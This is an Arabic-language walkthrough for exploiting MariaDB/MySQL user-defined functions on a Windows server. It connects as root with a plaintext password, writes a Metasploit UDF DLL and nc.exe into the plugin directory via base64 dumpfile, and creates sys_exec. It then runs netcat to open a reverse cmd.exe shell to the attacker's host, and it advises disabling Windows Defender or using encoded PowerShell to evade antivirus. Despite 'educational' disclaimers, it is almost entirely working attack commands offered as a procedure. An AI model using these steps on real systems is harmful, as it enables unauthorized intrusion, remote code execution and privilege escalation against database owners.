
تنفيذ كود مصادق عليه بقاعدة البيانات
يوفر هذا الدليل تعليمات مفصلة لاستغلال ثغرة الدوال المعرفة من قبل المستخدم (UDF) في MariaDB على خادم بعيد. تتضمن هذه الخطوات تنزيل وتنفيذ كود ضار على نظام قاعدة بيانات ضعيف.
تحذير: هذه الوثيقة للأغراض التعليمية فقط. الاستخدام غير المصرح به لهذه التقنيات غير قانوني وغير أخلاقي.
استخدم الأمر التالي للاتصال بخادم MySQL:
mysql -h 192.168.214.129 -u root -pPassw0rd!
لتحديد إصدار MySQL قيد التشغيل، نفذ:
select @@version;
لرؤية المستخدم الحالي المسجل الدخول:
select user();
استرجع جميع التفاصيل المتعلقة بالمستخدم الجذر:
select * from mysql.user where user='root';
تحديد الصلاحيات التي يمتلكها المستخدم الحالي:
show grants;
تحديد ما إذا كانت بنية النظام عرضة لثغرة UDF:
select @@version_compile_os, @@version_compile_machine;
تحديد دليل الإضافات الذي يمكن رفع ملفات UDF إليه:
select @@plugin_dir;
انسخ ملف DLL ذو ٣٢ بت من دليل استغلال Metasploit:
ls /usr/share/metasploit-framework/data/exploits/mysql/
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll udf.dll
قم بترميز ملف udf.dll بتنسيق base64:
cat udf.dll | base64 | tr -d '\n' > udf.base64
انسخ قيمة base64 من udf.base64 وانقلها إلى خادم MySQL:
افتح udf.base64 في محرر نصوص:
leafpad udf.base64
في MariaDB، قم بتشغيل:
select from_base64("base64 value") into dumpfile 'C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\udf.dll';
بدلاً من ذلك، يمكن استخدام المسار التالي إذا لزم الأمر:
C:\Program Files\MariaDB 11.1\lib\plugin\
نفذ الأمر التالي في MariaDB لإنشاء دالة جديدة:
create function sys_exec returns int soname 'udf.dll';
ملاحظة: يمكنك أيضًا استخدام
sys_evalأوsys_getأوdo_systemأوsys_bineval. تأكد من استخدامintوليسinto.
تحقق من نجاح تثبيت دالة UDF:
select * from mysql.func;
انسخ ملف Netcat القابل للتنفيذ إلى دليلك المحلي وقم بترميزه بتنسيق base64:
cp /usr/share/windows-binaries/nc.exe .
cat nc.exe | base64 | tr -d '\n' > nc.base64
افتح nc.base64 في محرر نصوص:
leafpad nc.base64
ثم في MySQL:
select from_base64("base64valueofNc.exe") into dumpfile 'C:\\Program Files\\MariaDB 10.5\\lib\\plugin\\nc.exe';
بدلاً من ذلك، يمكنك رفعه مباشرة باستخدام:
mysql -u root -p -h 192.168.214.129 < nc.base64
قم بتشغيل مستمع Netcat على المنفذ 443:
sudo nc -nlvp 443
قم بتنفيذ Netcat على الخادم البعيد لإنشاء شل عكسي:
select sys_exec('C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\nc.exe 192.168.214.128 443 -e cmd.exe');
ملاحظة: قد يتم حظر هذه الخطوة بواسطة Windows Defender أو برامج مكافحة الفيروسات الأخرى. يُوصى باستخدام أوامر PowerShell المشفرة (
powershellbase64) والتأكد من إيقاف تشغيل Windows Defender.
نفذ أمر PowerShell باستخدام ترميز base64:
select sys_exec('powershellbase64');
ملاحظة: قد تحصل على صلاحيات NT AUTHORITY\SYSTEM في العديد من الحالات.
حذف دالة: لإزالة أي دوال UDF تم إنشاؤها:
drop function sys_get;
التحقق من Local Infile: تحقق مما إذا كان السكربت المحلي ممكّنًا:
show variables like 'local_infile';
البحث عن المستخدمين الذين لديهم صلاحية Insert: تحديد المستخدمين الذين لديهم صلاحية الإدراج:
use mysql;
select user from user where insert_priv='Y' and Host='%';
إخلاء مسؤولية: هذه الوثيقة مخصصة للأغراض التعليمية وأبحاث الأمن السيبراني فقط. يمكن أن يؤدي سوء استخدام هذه المعلومات إلى تهم جنائية وعقوبات قانونية شديدة. احرص دائمًا على الحصول على إذن من السلطات المختصة قبل اختبار أي ثغرات على شبكة أو نظام.